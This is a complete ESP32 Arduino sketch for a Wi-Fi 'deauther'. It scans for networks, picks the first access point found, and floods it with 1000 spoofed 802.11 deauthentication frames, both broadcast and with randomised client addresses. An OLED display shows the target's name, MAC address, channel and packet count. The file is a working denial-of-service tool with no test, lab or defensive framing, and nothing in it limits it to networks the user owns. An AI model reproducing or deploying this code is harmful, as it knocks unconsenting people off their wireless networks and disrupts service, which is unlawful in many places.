#include "WiFi.h"
#include "esp_wifi.h"
#include <Adafruit_GFX.h>
#include <Adafruit_SSD1306.h>
#include <Wire.h>

#define SCREEN_WIDTH 128
#define SCREEN_HEIGHT 64
Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, -1);

const int maxPackets = 1000;
int wifiIndex = 0;

const uint8_t deauth_broadcast[26] = {
  0xC0, 0x00, 0x00, 0x00,
  0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x01, 0x00
};

const uint8_t deauth_client[26] = {
  0xC0, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x01, 0x00
};

void displaySetup();
void wifiSetup();
void performAttack(const uint8_t* bssid, uint8_t channel);
void updateDisplay(const uint8_t* bssid, uint8_t channel, int count);

void setup() {
  Serial.begin(115200);
  Wire.begin(21, 22);
  
  if(!display.begin(SSD1306_SWITCHCAPVCC, 0x3C)) {
    for(;;);
  }
  
  banner();
  wifiSetup();
}

void banner() {
  display.clearDisplay();
  display.setTextSize(1);
  display.setTextColor(SSD1306_WHITE);
  
  int width = 8 * 6;
  display.setCursor((SCREEN_WIDTH - width) / 2, 0);
  
  display.println("DEAUTHER");
  display.display();
  delay(1000);
}

void wifiSetup() {
  WiFi.mode(WIFI_STA);
  esp_wifi_set_promiscuous(true);
  WiFi.disconnect();
  delay(100);
}

void performAttack(const uint8_t* bssid, uint8_t channel) {
  uint8_t broadcast_pkt[26];
  uint8_t client_pkt[26];
  
  memcpy(broadcast_pkt, deauth_broadcast, 26);
  memcpy(client_pkt, deauth_client, 26);
  
  memcpy(&broadcast_pkt[10], bssid, 6);
  memcpy(&broadcast_pkt[16], bssid, 6);
  memcpy(&client_pkt[10], bssid, 6);
  memcpy(&client_pkt[16], bssid, 6);
  
  esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  
  for(int i = 0; i < maxPackets; i++) {
    if(i % 3 == 0) {
      for(int j = 4; j < 10; j++) client_pkt[j] = random(256);
      esp_wifi_80211_tx(WIFI_IF_STA, client_pkt, 26, false);
    } else {
      esp_wifi_80211_tx(WIFI_IF_STA, broadcast_pkt, 26, false);
    }
    
    if(i % 10 == 0) updateDisplay(bssid, channel, i);
  }
  updateDisplay(bssid, channel, maxPackets);
}

void updateDisplay(const uint8_t* bssid, uint8_t channel, int count) {
  display.clearDisplay();
  display.setCursor(0, 0);
  
  display.println(WiFi.SSID(0));
  
  char macStr[18];
  snprintf(macStr, sizeof(macStr), "%02X:%02X:%02X:%02X:%02X:%02X", 
           bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
  display.println(macStr);
  
  display.print("Channel: ");
  display.println(channel);
  
  display.print("Packets: ");
  display.print(count);
  display.print("/");
  display.println(maxPackets);
  
  const int anim = count % 16;
  display.print("[");
  for(int i = 0; i < 16; i++) {
    display.write(anim > i ? '#' : ' ');
  }
  display.println("]");
  
  display.display();
}

void loop() {
  banner();

  display.clearDisplay();
  display.setCursor(0, 0);
  display.println("Scanning networks...");
  display.display();
  
  int n = WiFi.scanNetworks(false, true);
  if(n > wifiIndex) {
    uint8_t bssid[6];
    WiFi.BSSID(0, bssid);  // Explicitly using WiFiScanClass::BSSID
    
    performAttack(bssid, WiFi.channel(0));
    
    display.clearDisplay();
    display.setCursor(0, 0);
    display.println("Deauth complete");
    display.display();
  } else {
    display.clearDisplay();
    display.setCursor(0, 0);
    display.println("No networks found");
    display.display();
  }
  
  delay(5000);
}